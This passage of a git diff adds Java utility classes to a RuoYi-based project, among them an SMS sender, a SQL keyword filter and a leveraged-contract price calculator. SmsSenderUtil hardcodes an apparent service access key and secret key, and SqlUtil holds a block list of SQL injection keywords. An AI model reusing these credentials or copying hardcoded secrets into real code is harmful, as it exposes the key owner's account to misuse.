base64Alphabet[d2]; + b3 = base64Alphabet[d3]; + b4 = base64Alphabet[d4]; + + decodedData[encodedIndex++] = (byte) (b1 << 2 | b2 >> 4); + decodedData[encodedIndex++] = (byte) (((b2 & 0xf) << 4) | ((b3 >> 2) & 0xf)); + decodedData[encodedIndex++] = (byte) (b3 << 6 | b4); + } + + if (!isData((d1 = base64Data[dataIndex++])) || !isData((d2 = base64Data[dataIndex++]))) + { + return null;// if found "no data" just return null + } + + b1 = base64Alphabet[d1]; + b2 = base64Alphabet[d2]; + + d3 = base64Data[dataIndex++]; + d4 = base64Data[dataIndex++]; + if (!isData((d3)) || !isData((d4))) + {// Check if they are PAD characters + if (isPad(d3) && isPad(d4)) + { + if ((b2 & 0xf) != 0)// last 4 bits should be zero + { + return null; + } + byte[] tmp = new byte[i * 3 + 1]; + System.arraycopy(decodedData, 0, tmp, 0, i * 3); + tmp[encodedIndex] = (byte) (b1 << 2 | b2 >> 4); + return tmp; + } + else if (!isPad(d3) && isPad(d4)) + { + b3 = base64Alphabet[d3]; + if ((b3 & 0x3) != 0)// last 2 bits should be zero + { + return null; + } + byte[] tmp = new byte[i * 3 + 2]; + System.arraycopy(decodedData, 0, tmp, 0, i * 3); + tmp[encodedIndex++] = (byte) (b1 << 2 | b2 >> 4); + tmp[encodedIndex] = (byte) (((b2 & 0xf) << 4) | ((b3 >> 2) & 0xf)); + return tmp; + } + else + { + return null; + } + } + else + { // No PAD e.g 3cQl + b3 = base64Alphabet[d3]; + b4 = base64Alphabet[d4]; + decodedData[encodedIndex++] = (byte) (b1 << 2 | b2 >> 4); + decodedData[encodedIndex++] = (byte) (((b2 & 0xf) << 4) | ((b3 >> 2) & 0xf)); + decodedData[encodedIndex++] = (byte) (b3 << 6 | b4); + + } + return decodedData; + } + + /** + * remove WhiteSpace from MIME containing encoded Base64 data. + * + * @param data the byte array of base64 data (with WS) + * @return the new length + */ + private static int removeWhiteSpace(char[] data) + { + if (data == null) + { + return 0; + } + + // count characters that's not whitespace + int newSize = 0; + int len = data.length; + for (int i = 0; i < len; i++) + { + if (!isWhiteSpace(data[i])) + { + data[newSize++] = data[i]; + } + } + return newSize; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java new file mode 100644 index 0000000..c1c58db --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sign/Md5Utils.java @@ -0,0 +1,67 @@ +package com.ruoyi.common.utils.sign; + +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * Md5加密方法 + * + * @author ruoyi + */ +public class Md5Utils +{ + private static final Logger log = LoggerFactory.getLogger(Md5Utils.class); + + private static byte[] md5(String s) + { + MessageDigest algorithm; + try + { + algorithm = MessageDigest.getInstance("MD5"); + algorithm.reset(); + algorithm.update(s.getBytes("UTF-8")); + byte[] messageDigest = algorithm.digest(); + return messageDigest; + } + catch (Exception e) + { + log.error("MD5 Error...", e); + } + return null; + } + + private static final String toHex(byte hash[]) + { + if (hash == null) + { + return null; + } + StringBuffer buf = new StringBuffer(hash.length * 2); + int i; + + for (i = 0; i < hash.length; i++) + { + if ((hash[i] & 0xff) < 0x10) + { + buf.append("0"); + } + buf.append(Long.toString(hash[i] & 0xff, 16)); + } + return buf.toString(); + } + + public static String hash(String s) + { + try + { + return new String(toHex(md5(s)).getBytes(StandardCharsets.UTF_8), StandardCharsets.UTF_8); + } + catch (Exception e) + { + log.error("not supported charset...{}", e); + return s; + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sms/SmsSenderUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sms/SmsSenderUtil.java new file mode 100644 index 0000000..fdd7d12 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sms/SmsSenderUtil.java @@ -0,0 +1,134 @@ +package com.ruoyi.common.utils.sms; + +import cn.hutool.core.util.StrUtil; +import org.json.JSONArray; +import org.json.JSONObject; + +import java.net.HttpURLConnection; +import java.net.URL; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + +public class SmsSenderUtil { + + protected static Random random = new Random(); + + private final static String accesskey = "622473a05437743e74b3fe1b"; + private final static String secretkey = "b3c087e157054bf5ada1da85197e9c0a"; + + private static final String signId ="622f97fd5437743e74b3fe50"; + //模板ID(登录后台页面获取) + private static final String templateId ="622f99325437743e74b3fe52"; + + public String stringMD5(String input) throws NoSuchAlgorithmException { + MessageDigest messageDigest = MessageDigest.getInstance("MD5"); + byte[] inputByteArray = input.getBytes(); + messageDigest.update(inputByteArray); + byte[] resultByteArray = messageDigest.digest(); + return byteArrayToHex(resultByteArray); + } + + protected String strToHash(String str) throws NoSuchAlgorithmException { + MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); + byte[] inputByteArray = str.getBytes(); + messageDigest.update(inputByteArray); + byte[] resultByteArray = messageDigest.digest(); + return byteArrayToHex(resultByteArray); + } + + public String byteArrayToHex(byte[] byteArray) { + char[] hexDigits = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; + char[] resultCharArray = new char[byteArray.length * 2]; + int index = 0; + for (byte b : byteArray) { + resultCharArray[index++] = hexDigits[b >>> 4 & 0xf]; + resultCharArray[index++] = hexDigits[b & 0xf]; + } + return new String(resultCharArray); + } + + public static int getRandom() { + return random.nextInt(999999)%900000+100000; + } + + public static int getRandomNumber(int from, int to) { + float a = from + (to - from) * (new Random().nextFloat()); + int b = (int) a; + return ((a - b) > 0.5 ? 1 : 0) + b; + } + + public HttpURLConnection getPostHttpConn(String url) throws Exception { + URL object = new URL(url); + HttpURLConnection conn; + conn = (HttpURLConnection) object.openConnection(); + conn.setDoOutput(true); + conn.setDoInput(true); + conn.setRequestProperty("Content-Type", "application/json"); + conn.setRequestProperty("Accept", "application/json"); + conn.setRequestMethod("POST"); + return conn; + } + + public String calculateSig( + String accesskey, + long random, + String msg, + long curTime, + ArrayList phoneNumbers) throws NoSuchAlgorithmException { + String phoneNumbersString = phoneNumbers.get(0); + for (int i = 1; i < phoneNumbers.size(); i++) { + phoneNumbersString += "," + phoneNumbers.get(i); + } + return strToHash(String.format( + "accesskey=%s&random=%d&time=%d&mobile=%s", + accesskey, random, curTime, phoneNumbersString)); + } + + public String calculateSigForTempl( + String accesskey, + long random, + long curTime, + ArrayList phoneNumbers) throws NoSuchAlgorithmException { + String phoneNumbersString = phoneNumbers.get(0); + for (int i = 1; i < phoneNumbers.size(); i++) { + phoneNumbersString += "," + phoneNumbers.get(i); + } + return strToHash(String.format( + "accesskey=%s&random=%d&time=%d&mobile=%s", + accesskey, random, curTime, phoneNumbersString)); + } + + public String calculateSigForTempl( + String accesskey, + long random, + long curTime, + String phoneNumber) throws NoSuchAlgorithmException { + ArrayList phoneNumbers = new ArrayList<>(); + phoneNumbers.add(phoneNumber); + return calculateSigForTempl(accesskey, random, curTime, phoneNumbers); + } + + public JSONArray phoneNumbersToJSONArray(String nationCode, ArrayList phoneNumbers) { + JSONArray tel = new JSONArray(); + int i = 0; + do { + JSONObject telElement = new JSONObject(); + telElement.put("nationcode", nationCode); + telElement.put("mobile", phoneNumbers.get(i)); + tel.put(telElement); + } while (++i < phoneNumbers.size()); + + return tel; + } + + public JSONArray smsParamsToJSONArray(List params) { + JSONArray smsParams = new JSONArray(); + for (int i = 0; i < params.size(); i++) { + smsParams.put(params.get(i)); + } + return smsParams; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java new file mode 100644 index 0000000..f290ec3 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/spring/SpringUtils.java @@ -0,0 +1,158 @@ +package com.ruoyi.common.utils.spring; + +import org.springframework.aop.framework.AopContext; +import org.springframework.beans.BeansException; +import org.springframework.beans.factory.NoSuchBeanDefinitionException; +import org.springframework.beans.factory.config.BeanFactoryPostProcessor; +import org.springframework.beans.factory.config.ConfigurableListableBeanFactory; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.stereotype.Component; +import com.ruoyi.common.utils.StringUtils; + +/** + * spring工具类 方便在非spring管理环境中获取bean + * + * @author ruoyi + */ +@Component +public final class SpringUtils implements BeanFactoryPostProcessor, ApplicationContextAware +{ + /** Spring应用上下文环境 */ + private static ConfigurableListableBeanFactory beanFactory; + + private static ApplicationContext applicationContext; + + @Override + public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException + { + SpringUtils.beanFactory = beanFactory; + } + + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException + { + SpringUtils.applicationContext = applicationContext; + } + + /** + * 获取对象 + * + * @param name + * @return Object 一个以所给名字注册的bean的实例 + * @throws org.springframework.beans.BeansException + * + */ + @SuppressWarnings("unchecked") + public static T getBean(String name) throws BeansException + { + return (T) beanFactory.getBean(name); + } + + /** + * 获取类型为requiredType的对象 + * + * @param clz + * @return + * @throws org.springframework.beans.BeansException + * + */ + public static T getBean(Class clz) throws BeansException + { + T result = (T) beanFactory.getBean(clz); + return result; + } + + /** + * 如果BeanFactory包含一个与所给名称匹配的bean定义,则返回true + * + * @param name + * @return boolean + */ + public static boolean containsBean(String name) + { + return beanFactory.containsBean(name); + } + + /** + * 判断以给定名字注册的bean定义是一个singleton还是一个prototype。 如果与给定名字相应的bean定义没有被找到,将会抛出一个异常(NoSuchBeanDefinitionException) + * + * @param name + * @return boolean + * @throws org.springframework.beans.factory.NoSuchBeanDefinitionException + * + */ + public static boolean isSingleton(String name) throws NoSuchBeanDefinitionException + { + return beanFactory.isSingleton(name); + } + + /** + * @param name + * @return Class 注册对象的类型 + * @throws org.springframework.beans.factory.NoSuchBeanDefinitionException + * + */ + public static Class getType(String name) throws NoSuchBeanDefinitionException + { + return beanFactory.getType(name); + } + + /** + * 如果给定的bean名字在bean定义中有别名,则返回这些别名 + * + * @param name + * @return + * @throws org.springframework.beans.factory.NoSuchBeanDefinitionException + * + */ + public static String[] getAliases(String name) throws NoSuchBeanDefinitionException + { + return beanFactory.getAliases(name); + } + + /** + * 获取aop代理对象 + * + * @param invoker + * @return + */ + @SuppressWarnings("unchecked") + public static T getAopProxy(T invoker) + { + return (T) AopContext.currentProxy(); + } + + /** + * 获取当前的环境配置,无配置返回null + * + * @return 当前的环境配置 + */ + public static String[] getActiveProfiles() + { + return applicationContext.getEnvironment().getActiveProfiles(); + } + + /** + * 获取当前的环境配置,当有多个环境配置时,只获取第一个 + * + * @return 当前的环境配置 + */ + public static String getActiveProfile() + { + final String[] activeProfiles = getActiveProfiles(); + return StringUtils.isNotEmpty(activeProfiles) ? activeProfiles[0] : null; + } + + /** + * 获取配置文件中的值 + * + * @param key 配置文件的key + * @return 当前的配置文件的值 + * + */ + public static String getRequiredProperty(String key) + { + return applicationContext.getEnvironment().getRequiredProperty(key); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java new file mode 100644 index 0000000..51e1f92 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java @@ -0,0 +1,61 @@ +package com.ruoyi.common.utils.sql; + +import com.ruoyi.common.exception.UtilException; +import com.ruoyi.common.utils.StringUtils; + +/** + * sql操作工具类 + * + * @author ruoyi + */ +public class SqlUtil +{ + /** + * 定义常用的 sql关键字 + */ + public static String SQL_REGEX = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |+|user()"; + + /** + * 仅支持字母、数字、下划线、空格、逗号、小数点(支持多个字段排序) + */ + public static String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+"; + + /** + * 检查字符,防止注入绕过 + */ + public static String escapeOrderBySql(String value) + { + if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value)) + { + throw new UtilException("参数不符合规范,不能进行查询"); + } + return value; + } + + /** + * 验证 order by 语法是否符合规范 + */ + public static boolean isValidOrderBySql(String value) + { + return value.matches(SQL_PATTERN); + } + + /** + * SQL关键字检查 + */ + public static void filterKeyword(String value) + { + if (StringUtils.isEmpty(value)) + { + return; + } + String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|"); + for (String sqlKeyword : sqlKeywords) + { + if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1) + { + throw new UtilException("参数存在SQL注入风险"); + } + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ucontract/ContractComputerUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ucontract/ContractComputerUtil.java new file mode 100644 index 0000000..0a02b0c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ucontract/ContractComputerUtil.java @@ -0,0 +1,113 @@ +package com.ruoyi.common.utils.ucontract; + +import com.google.zxing.client.result.BizcardResultParser; + +import java.math.BigDecimal; +import java.math.RoundingMode; + +/** + * 合约交易计算类 + * + * @author:michael + * @createDate: 2022/10/19 16:21 + */ +public class ContractComputerUtil { + + + //计算强平价 + + /** + * @param num 交易币数量 + * @param level 杠杆 + * @param + * @return + */ + + public static BigDecimal getStrongPrice(BigDecimal level, Integer type, BigDecimal openPrice, BigDecimal num, BigDecimal amount, BigDecimal fee) { + BigDecimal result = BigDecimal.ZERO; + if (level.compareTo(new BigDecimal(1)) >= 0) { + if (type == 0) { + result = (openPrice.subtract(amount.divide(num, 6, RoundingMode.HALF_UP)).add(fee.divide(num, 6, RoundingMode.HALF_UP)).setScale(6, RoundingMode.HALF_UP)); + } else if (type == 1) { + result = ((amount.divide(num, 6, RoundingMode.HALF_UP).add(openPrice)).subtract(fee.divide(num, 6, RoundingMode.HALF_UP)).setScale(6, RoundingMode.HALF_UP)); + } + } + + return result.compareTo(BigDecimal.ZERO) < 0 ? BigDecimal.ZERO : result; + } + + /** + * 计算合约收益 + * + * @param openPrice + * @param num + * @param closePrice + * @param type + * @return + */ + public static BigDecimal getPositionEarn(BigDecimal openPrice, BigDecimal num, BigDecimal closePrice, int type) { + if (0 == type) { + return (closePrice.subtract(openPrice)).multiply(num); + } else if (1 == type) { + return (openPrice.subtract(closePrice)).multiply(num); + } + return BigDecimal.ZERO; + } + + /** + * 计算买入金额 + * + * @param price + * @return + */ + public static BigDecimal getAmount(BigDecimal price, BigDecimal num, BigDecimal level) { + return price.multiply(num).divide(level, 6, RoundingMode.UP); + + } + + /** + * 计算成交交 + */ + public static BigDecimal getEarnDealPrice(BigDecimal openPrice, int type, BigDecimal earnRate) { + BigDecimal result = BigDecimal.ZERO; + if (0 == type) { + result = openPrice.add((openPrice.multiply(earnRate))); + } else { + result = openPrice.subtract((openPrice.multiply(earnRate))); + } + + return result.compareTo(BigDecimal.ZERO) < 0 ? BigDecimal.ZERO : result.setScale(6, RoundingMode.HALF_UP); + + } + + /** + * 计算成交交 + */ + public static BigDecimal getLossDealPrice(BigDecimal openPrice, int type, BigDecimal lossRate) { + BigDecimal result = BigDecimal.ZERO; + if (0 == type) { + result = openPrice.subtract((openPrice.multiply(lossRate))); + } else { + result = openPrice.add((openPrice.multiply(lossRate))); + } + return result.compareTo(BigDecimal.ZERO) < 0 ? BigDecimal.ZERO : result.setScale(6, RoundingMode.HALF_UP); + } + + public static BigDecimal getPositionRate(BigDecimal openPrice, BigDecimal closePrice, int type) { + if (0 == type) { + return (closePrice.subtract(openPrice)).divide(openPrice, 4, RoundingMode.DOWN); + } else if (1 == type) { + return (openPrice.subtract(closePrice)).divide(openPrice, 4, RoundingMode.DOWN); + } + return BigDecimal.ZERO; + } + + public static BigDecimal getRate(BigDecimal openPrice, BigDecimal closePrice, int type) { + if (0 == type) { + return closePrice.subtract(openPrice); + } else if (1 == type) { + return openPrice.subtract(closePrice); + } + return BigDecimal.ZERO; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java new file mode 100644 index 0000000..2c84427 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/IdUtils.java @@ -0,0 +1,49 @@ +package com.ruoyi.common.utils.uuid; + +/** + * ID生成器工具类 + * + * @author ruoyi + */ +public class IdUtils +{ + /** + * 获取随机UUID + * + * @return 随机UUID + */ + public static String randomUUID() + { + return UUID.randomUUID().toString(); + } + + /** + * 简化的UUID,去掉了横线 + * + * @return 简化的UUID,去掉了横线 + */ + public static String simpleUUID() + { + return UUID.randomUUID().toString(true); + } + + /** + * 获取随机UUID,使用性能更好的ThreadLocalRandom生成UUID + * + * @return 随机UUID + */ + public static String fastUUID() + { + return UUID.fastUUID().toString(); + } + + /** + * 简化的UUID,去掉了横线,使用性能更好的ThreadLocalRandom生成UUID + * + * @return 简化的UUID,去掉了横线 + */ + public static String fastSimpleUUID() + { + return UUID.fastUUID().toString(true); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/Seq.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/Seq.java new file mode 100644 index 0000000..bf99611 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/Seq.java @@ -0,0 +1,86 @@ +package com.ruoyi.common.utils.uuid; + +import java.util.concurrent.atomic.AtomicInteger; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; + +/** + * @author ruoyi 序列生成类 + */ +public class Seq +{ + // 通用序列类型 + public static final String commSeqType = "COMMON"; + + // 上传序列类型 + public static final String uploadSeqType = "UPLOAD"; + + // 通用接口序列数 + private static AtomicInteger commSeq = new AtomicInteger(1); + + // 上传接口序列数 + private static AtomicInteger uploadSeq = new AtomicInteger(1); + + // 机器标识 + private static final String machineCode = "A"; + + /** + * 获取通用序列号 + * + * @return 序列值 + */ + public static String getId() + { + return getId(commSeqType); + } + + /** + * 默认16位序列号 yyMMddHHmmss + 一位机器标识 + 3长度循环递增字符串 + * + * @return 序列值 + */ + public static String getId(String type) + { + AtomicInteger atomicInt = commSeq; + if (uploadSeqType.equals(type)) + { + atomicInt = uploadSeq; + } + return getId(atomicInt, 3); + } + + /** + * 通用接口序列号 yyMMddHHmmss + 一位机器标识 + length长度循环递增字符串 + * + * @param atomicInt 序列数 + * @param length 数值长度 + * @return 序列值 + */ + public static String getId(AtomicInteger atomicInt, int length) + { + String result = DateUtils.dateTimeNow(); + result += machineCode; + result += getSeq(atomicInt, length); + return result; + } + + /** + * 序列循环递增字符串[1, 10 的 (length)幂次方), 用0左补齐length位数 + * + * @return 序列值 + */ + private synchronized static String getSeq(AtomicInteger atomicInt, int length) + { + // 先取值再+1 + int value = atomicInt.getAndIncrement(); + + // 如果更新后值>=10 的 (length)幂次方则重置为1 + int maxSeq = (int) Math.pow(10, length); + if (atomicInt.get() >= maxSeq) + { + atomicInt.set(1); + } + // 转字符串,用0左补齐 + return StringUtils.padl(value, length); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java new file mode 100644 index 0000000..a5585d6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/uuid/UUID.java @@ -0,0 +1,484 @@ +package com.ruoyi.common.utils.uuid; + +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.util.Random; +import java.util.concurrent.ThreadLocalRandom; +import com.ruoyi.common.exception.UtilException; + +/** + * 提供通用唯一识别码(universally unique identifier)(UUID)实现 + * + * @author ruoyi + */ +public final class UUID implements java.io.Serializable, Comparable +{ + private static final long serialVersionUID = -1185015143654744140L; + + /** + * SecureRandom 的单例 + * + */ + private static class Holder + { + static final SecureRandom numberGenerator = getSecureRandom(); + } + + /** 此UUID的最高64有效位 */ + private final long mostSigBits; + + /** 此UUID的最低64有效位 */ + private final long leastSigBits; + + /** + * 私有构造 + * + * @param data 数据 + */ + private UUID(byte[] data) + { + long msb = 0; + long lsb = 0; + assert data.length == 16 : "data must be 16 bytes in length"; + for (int i = 0; i < 8; i++) + { + msb = (msb << 8) | (data[i] & 0xff); + } + for (int i = 8; i < 16; i++) + { + lsb = (lsb << 8) | (data[i] & 0xff); + } + this.mostSigBits = msb; + this.leastSigBits = lsb; + } + + /** + * 使用指定的数据构造新的 UUID。 + * + * @param mostSigBits 用于 {@code UUID} 的最高有效 64 位 + * @param leastSigBits 用于 {@code UUID} 的最低有效 64 位 + */ + public UUID(long mostSigBits, long leastSigBits) + { + this.mostSigBits = mostSigBits; + this.leastSigBits = leastSigBits; + } + + /** + * 获取类型 4(伪随机生成的)UUID 的静态工厂。 + * + * @return 随机生成的 {@code UUID} + */ + public static UUID fastUUID() + { + return randomUUID(false); + } + + /** + * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的强伪随机数生成器生成该 UUID。 + * + * @return 随机生成的 {@code UUID} + */ + public static UUID randomUUID() + { + return randomUUID(true); + } + + /** + * 获取类型 4(伪随机生成的)UUID 的静态工厂。 使用加密的强伪随机数生成器生成该 UUID。 + * + * @param isSecure 是否使用{@link SecureRandom}如果是可以获得更安全的随机码,否则可以得到更好的性能 + * @return 随机生成的 {@code UUID} + */ + public static UUID randomUUID(boolean isSecure) + { + final Random ng = isSecure ? Holder.numberGenerator : getRandom(); + + byte[] randomBytes = new byte[16]; + ng.nextBytes(randomBytes); + randomBytes[6] &= 0x0f; /* clear version */ + randomBytes[6] |= 0x40; /* set to version 4 */ + randomBytes[8] &= 0x3f; /* clear variant */ + randomBytes[8] |= 0x80; /* set to IETF variant */ + return new UUID(randomBytes); + } + + /** + * 根据指定的字节数组获取类型 3(基于名称的)UUID 的静态工厂。 + * + * @param name 用于构造 UUID 的字节数组。 + * + * @return 根据指定数组生成的 {@code UUID} + */ + public static UUID nameUUIDFromBytes(byte[] name) + { + MessageDigest md; + try + { + md = MessageDigest.getInstance("MD5"); + } + catch (NoSuchAlgorithmException nsae) + { + throw new InternalError("MD5 not supported"); + } + byte[] md5Bytes = md.digest(name); + md5Bytes[6] &= 0x0f; /* clear version */ + md5Bytes[6] |= 0x30; /* set to version 3 */ + md5Bytes[8] &= 0x3f; /* clear variant */ + md5Bytes[8] |= 0x80; /* set to IETF variant */ + return new UUID(md5Bytes); + } + + /** + * 根据 {@link #toString()} 方法中描述的字符串标准表示形式创建{@code UUID}。 + * + * @param name 指定 {@code UUID} 字符串 + * @return 具有指定值的 {@code UUID} + * @throws IllegalArgumentException 如果 name 与 {@link #toString} 中描述的字符串表示形式不符抛出此异常 + * + */ + public static UUID fromString(String name) + { + String[] components = name.split("-"); + if (components.length != 5) + { + throw new IllegalArgumentException("Invalid UUID string: " + name); + } + for (int i = 0; i < 5; i++) + { + components[i] = "0x" + components[i]; + } + + long mostSigBits = Long.decode(components[0]).longValue(); + mostSigBits <<= 16; + mostSigBits |= Long.decode(components[1]).longValue(); + mostSigBits <<= 16; + mostSigBits |= Long.decode(components[2]).longValue(); + + long leastSigBits = Long.decode(components[3]).longValue(); + leastSigBits <<= 48; + leastSigBits |= Long.decode(components[4]).longValue(); + + return new UUID(mostSigBits, leastSigBits); + } + + /** + * 返回此 UUID 的 128 位值中的最低有效 64 位。 + * + * @return 此 UUID 的 128 位值中的最低有效 64 位。 + */ + public long getLeastSignificantBits() + { + return leastSigBits; + } + + /** + * 返回此 UUID 的 128 位值中的最高有效 64 位。 + * + * @return 此 UUID 的 128 位值中最高有效 64 位。 + */ + public long getMostSignificantBits() + { + return mostSigBits; + } + + /** + * 与此 {@code UUID} 相关联的版本号. 版本号描述此 {@code UUID} 是如何生成的。 + *

    + * 版本号具有以下含意: + *

      + *
    • 1 基于时间的 UUID + *
    • 2 DCE 安全 UUID + *
    • 3 基于名称的 UUID + *
    • 4 随机生成的 UUID + *
    + * + * @return 此 {@code UUID} 的版本号 + */ + public int version() + { + // Version is bits masked by 0x000000000000F000 in MS long + return (int) ((mostSigBits >> 12) & 0x0f); + } + + /** + * 与此 {@code UUID} 相关联的变体号。变体号描述 {@code UUID} 的布局。 + *

    + * 变体号具有以下含意: + *

      + *
    • 0 为 NCS 向后兼容保留 + *
    • 2 IETF RFC 4122(Leach-Salz), 用于此类 + *
    • 6 保留,微软向后兼容 + *
    • 7 保留供以后定义使用 + *
    + * + * @return 此 {@code UUID} 相关联的变体号 + */ + public int variant() + { + // This field is composed of a varying number of bits. + // 0 - - Reserved for NCS backward compatibility + // 1 0 - The IETF aka Leach-Salz variant (used by this class) + // 1 1 0 Reserved, Microsoft backward compatibility + // 1 1 1 Reserved for future definition. + return (int) ((leastSigBits >>> (64 - (leastSigBits >>> 62))) & (leastSigBits >> 63)); + } + + /** + * 与此 UUID 相关联的时间戳值。 + * + *

    + * 60 位的时间戳值根据此 {@code UUID} 的 time_low、time_mid 和 time_hi 字段构造。
    + * 所得到的时间戳以 100 毫微秒为单位,从 UTC(通用协调时间) 1582 年 10 月 15 日零时开始。 + * + *

    + * 时间戳值仅在在基于时间的 UUID(其 version 类型为 1)中才有意义。
    + * 如果此 {@code UUID} 不是基于时间的 UUID,则此方法抛出 UnsupportedOperationException。 + * + * @throws UnsupportedOperationException 如果此 {@code UUID} 不是 version 为 1 的 UUID。 + */ + public long timestamp() throws UnsupportedOperationException + { + checkTimeBase(); + return (mostSigBits & 0x0FFFL) << 48// + | ((mostSigBits >> 16) & 0x0FFFFL) << 32// + | mostSigBits >>> 32; + } + + /** + * 与此 UUID 相关联的时钟序列值。 + * + *

    + * 14 位的时钟序列值根据此 UUID 的 clock_seq 字段构造。clock_seq 字段用于保证在基于时间的 UUID 中的时间唯一性。 + *

    + * {@code clockSequence} 值仅在基于时间的 UUID(其 version 类型为 1)中才有意义。 如果此 UUID 不是基于时间的 UUID,则此方法抛出 + * UnsupportedOperationException。 + * + * @return 此 {@code UUID} 的时钟序列 + * + * @throws UnsupportedOperationException 如果此 UUID 的 version 不为 1 + */ + public int clockSequence() throws UnsupportedOperationException + { + checkTimeBase(); + return (int) ((leastSigBits & 0x3FFF000000000000L) >>> 48); + } + + /** + * 与此 UUID 相关的节点值。 + * + *

    + * 48 位的节点值根据此 UUID 的 node 字段构造。此字段旨在用于保存机器的 IEEE 802 地址,该地址用于生成此 UUID 以保证空间唯一性。 + *

    + * 节点值仅在基于时间的 UUID(其 version 类型为 1)中才有意义。
    + * 如果此 UUID 不是基于时间的 UUID,则此方法抛出 UnsupportedOperationException。 + * + * @return 此 {@code UUID} 的节点值 + * + * @throws UnsupportedOperationException 如果此 UUID 的 version 不为 1 + */ + public long node() throws UnsupportedOperationException + { + checkTimeBase(); + return leastSigBits & 0x0000FFFFFFFFFFFFL; + } + + /** + * 返回此{@code UUID} 的字符串表现形式。 + * + *

    + * UUID 的字符串表示形式由此 BNF 描述: + * + *

    +     * {@code
    +     * UUID                   = ----
    +     * time_low               = 4*
    +     * time_mid               = 2*
    +     * time_high_and_version  = 2*
    +     * variant_and_sequence   = 2*
    +     * node                   = 6*
    +     * hexOctet               = 
    +     * hexDigit               = [0-9a-fA-F]
    +     * }
    +     * 
    + * + * + * + * @return 此{@code UUID} 的字符串表现形式 + * @see #toString(boolean) + */ + @Override + public String toString() + { + return toString(false); + } + + /** + * 返回此{@code UUID} 的字符串表现形式。 + * + *

    + * UUID 的字符串表示形式由此 BNF 描述: + * + *

    +     * {@code
    +     * UUID                   = ----
    +     * time_low               = 4*
    +     * time_mid               = 2*
    +     * time_high_and_version  = 2*
    +     * variant_and_sequence   = 2*
    +     * node                   = 6*
    +     * hexOctet               = 
    +     * hexDigit               = [0-9a-fA-F]
    +     * }
    +     * 
    + * + * + * + * @param isSimple 是否简单模式,简单模式为不带'-'的UUID字符串 + * @return 此{@code UUID} 的字符串表现形式 + */ + public String toString(boolean isSimple) + { + final StringBuilder builder = new StringBuilder(isSimple ? 32 : 36); + // time_low + builder.append(digits(mostSigBits >> 32, 8)); + if (!isSimple) + { + builder.append('-'); + } + // time_mid + builder.append(digits(mostSigBits >> 16, 4)); + if (!isSimple) + { + builder.append('-'); + } + // time_high_and_version + builder.append(digits(mostSigBits, 4)); + if (!isSimple) + { + builder.append('-'); + } + // variant_and_sequence + builder.append(digits(leastSigBits >> 48, 4)); + if (!isSimple) + { + builder.append('-'); + } + // node + builder.append(digits(leastSigBits, 12)); + + return builder.toString(); + } + + /** + * 返回此 UUID 的哈希码。 + * + * @return UUID 的哈希码值。 + */ + @Override + public int hashCode() + { + long hilo = mostSigBits ^ leastSigBits; + return ((int) (hilo >> 32)) ^ (int) hilo; + } + + /** + * 将此对象与指定对象比较。 + *

    + * 当且仅当参数不为 {@code null}、而是一个 UUID 对象、具有与此 UUID 相同的 varriant、包含相同的值(每一位均相同)时,结果才为 {@code true}。 + * + * @param obj 要与之比较的对象 + * + * @return 如果对象相同,则返回 {@code true};否则返回 {@code false} + */ + @Override + public boolean equals(Object obj) + { + if ((null == obj) || (obj.getClass() != UUID.class)) + { + return false; + } + UUID id = (UUID) obj; + return (mostSigBits == id.mostSigBits && leastSigBits == id.leastSigBits); + } + + // Comparison Operations + + /** + * 将此 UUID 与指定的 UUID 比较。 + * + *

